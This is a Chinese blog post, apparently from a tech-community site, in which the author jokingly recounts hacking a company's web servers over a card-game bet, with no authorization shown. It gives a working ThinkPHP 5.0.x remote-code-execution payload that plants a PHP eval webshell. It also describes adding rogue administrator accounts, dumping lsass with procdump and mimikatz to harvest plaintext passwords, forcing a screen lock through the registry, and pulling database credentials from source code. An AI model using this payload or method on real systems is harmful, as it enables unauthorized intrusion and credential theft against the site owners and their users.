写点什么

和妹子打赌的 getshell 之“我不做安全了,和我一起锄大地吧”

用户头像
Machine Gun
关注
发布于: 4 小时前
和妹子打赌的getshell之“我不做安全了,和我一起锄大地吧”

最近失业,流浪在各大街头和老头老太抢矿泉水瓶,掐架都比不过老太太,一天都没几个瓶子(喂,你们群里有瓶子嘛),回来和妹子锄大地吧。牌运倒是很好,赢了妹子好多局,惹得妹子急了:“你这么牛皮哄哄的,大黑阔了不起是吗,哼,也没见你拿过一个站”。凭借多年的高情商,我不仅没有哄妹子开心,还牛皮哄哄跟她打了赌,说今天就给你拿一个站。“好啊,你去吧。哼,不理你了”。看吧,等我拿下一个站后,她一定会很崇拜我的。

0x00 信息收集

信息收集绕不开,也是最重要的一个环节。选了某个企业,先对企业的进行域名信息收集。在百度上发现该企业的两个主站,分别是 fxxxx.cc 和 jxxxx.com,分别进行了子域名的搜索。一般用他人的在线工具,以及 Sublist3r、subDomainsBrute 和 Layer,整合它们的结果,必要时,再百度和 Google 搜集。大型的厂商建议做 N 级域名探测:



逐个查看,接着,对各个站点进行指纹识别,可以知道站点是否为已知的 CMS、使用何种语言或框架等。有时候,云悉可能没有扫出来,可以使用 firefox 的插件 wappalyzer。在云悉可以查看“该单位其他域名”,这个也可以获得更全面的信息。再收集一下备案信息,也可能有意料之外的收获。



接着,对已知的站点 IP 使用在线的端口扫描工具进行扫描,识别开放的端口;最后,对 GitHub、以及谷歌搜索收集到的信息,进行整合,并作详细记录。当然,中间我省略了像是 whois 等的搜集。关于信息收集,就不多说了。

0x01 意外的 getshell

在对 jxxxx.com 进行跟进一步的信息收集与漏洞探测时,发现在 URL 后随意添加字符串,服务器会响应一个报错页面,并打印详细的信息。发现该站点使用了 ThinkPHP 框架,且版本号为 5.0.23——表面毫无波澜,实则内心偷乐了一下。凭借多年的 VMware 下的 yy 渗透测试的经验,好吧,我承认我是垃圾哈哈哈哈。




ThinkPHP 5.0.x 和 5.1.x 存在 RCE,直接拿出 payload 怼上去就好了。可以看到权限很高,但是无奈,怎么都写不进文件,但这也不能说是绝对的坏事。这时候,拿给妹子看了一下,“哦,很厉害啵,哼”。啊,可以感受到妹子已经被我的速度震惊了——这么快!



但我不能骄傲,我还要继续,“哦,那你去吧”,看吧,妹子在鼓励我,盘它!然而,jxxxx.com 的只剩下 1 个登录框,2 个 UPUPW_NP 页面,然而,对登录框以及 PHPmyadmin 进行了爆破,都没有进展——啊咧!是我骄傲了嘛?

0x02 又一个 shell

别我问为啥是这个标题,实在是想不出来了(狗头保命)。在 crm 登录界面,使用 top500 姓名和弱口令进行爆破,发现会被 BAN 掉;其余的登录处,top500 都显示不存在该用户名——太难了。此时距离打牌以及一个钟头了,对 fxxxx.cc 的 crm 系统进行探测时,随手又来了一个乱写的 URL,又是熟悉的界面,此时的 ThinkPHP 版本为 5.0.12,版本号也是在漏洞范围内的。




此时尝试写入 webshell 文件,payload:index.php? s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=@file_put_contents(base64_decode(MTIzNDUucGhw),base64_decode(MTI8P3BocCBldmFsKEAkX1BPU1RbJ2EnXSk7)),访问可以执行 phpinfo(),蚁剑链接:



在另一个站点 demo.fxxxx.cc 上,如法炮制了一个 shell 出来。如下:



随手又给妹子看了,“哼!不理你了,以后别找我打牌了”!咦,我赢了呀,妹子干嘛不跟我打牌了?妹子一定是看我赢了恼羞成怒,真小气。我继续搞。

0x03 getshell 后续

当然,最终的目的肯定是远程桌面(开了 3389 端口)。故而,在 demo.fxxxx.cc 的 shell 上开终端,添加管理员账户,但是,很不幸地无法添加进管理员组:



在 crm.fxxxx.cc 的 shell 上开终端,添加管理员账户,成功添加进管理员用户组。但是远程桌面登录时,提示连接被拒绝,没有被授权进行远程登录:



平时碰到这样的情况,如果是权限不够不能添加,可以先提权,获取 system 权限。如果已经是该权限了,还是不能,可以抓取管理员的明文密码。常用 procdump 获取内存文件 lsass.exe 进程中存储的明文登录密码,接着使用 mimikatz 读取 lsass.dmp,这样就可以了。但是,这个过程,你还需要让管理员登录,这样才能抓取到明文密码,否则将读取到(null)。所以,此时需要修改注册表,强制锁屏,这样,管理员看到后会重新登录,这样就可以抓取到明文密码了。然而,折腾了一番,管理员或许是跟妹子打牌去了,没有获取到,我去!翻看了一下源代码,取了 3 个数据库的登录信息。以下只贴出了 crm.fxxxx.com 的两个数据库:




没什么说的直接连接就好了,没敢乱动数据,毕竟在里面不能玩手机,怎么和妹子打牌:


0x04 写在最后

第二天,醒来就把这些写下来了。当然,不做后续的测试,虽说拿到了用户的登录用户名密码,但是,也没啥意思了,还是和妹子打牌吧。然而,锄大地建房了,妹子始终不上线,啊咧!妹子输怕了吗?“gun 啊!不想跟你说话了”。Orz。小破站,foieojoejgoisejgijohgudgadojefoejof 不测了!


PS:文中的一切都是在梦游中发生的:)。



用户头像

Machine Gun

关注

还未添加个人签名 2021.03.28 加入

需要获取网络安全/渗透测试学习资料工具的朋友可联系V:machinegunjoe666 免费索取

评论

发布
暂无评论
和妹子打赌的getshell之“我不做安全了,和我一起锄大地吧”